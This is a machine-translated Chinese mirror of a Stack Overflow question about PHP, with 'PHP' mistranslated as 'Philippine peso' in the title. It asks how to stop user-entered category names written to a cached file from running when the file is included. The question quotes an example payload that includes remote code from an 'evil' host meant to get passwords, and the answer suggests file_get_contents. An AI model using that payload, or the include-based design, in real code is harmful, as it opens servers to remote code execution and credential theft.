gpt4 book ai didi

菲律宾比索用户可以在文件中写入数据,我包含该文件

转载 作者:太空宇宙 更新时间:2023-11-03 10:49:13 25 4
gpt4 key购买 nike

用户在mysql中写入类别(name, url)。

在每次写入/更改 nameurl 时,我还计划在服务器上写入 txt 或 php 文件。目的是在每个页面上重新/加载而不是连接到 mysql,只是为了包含 txt 或 php 文件。

现在我想象一个情况。例如,作为类别的 name 的用户写了一些东西 include("http://www.evil/get-passwords.php"); 所以在 txt 或 php 文件中我可能有这样的代码,当包含在 php 中时代码将执行?

如何防止这种情况发生?只允许某些字符用于类别名称?

最佳答案

我根本不建议在这种情况下使用 include。你可以看看 http://php.net/manual/en/function.file-get-contents.php

使用 file_get_contents 您可以避免脚本注入(inject),因为它将文件作为纯字符串读取。

关于菲律宾比索用户可以在文件中写入数据,我包含该文件,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/26776611/

25 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com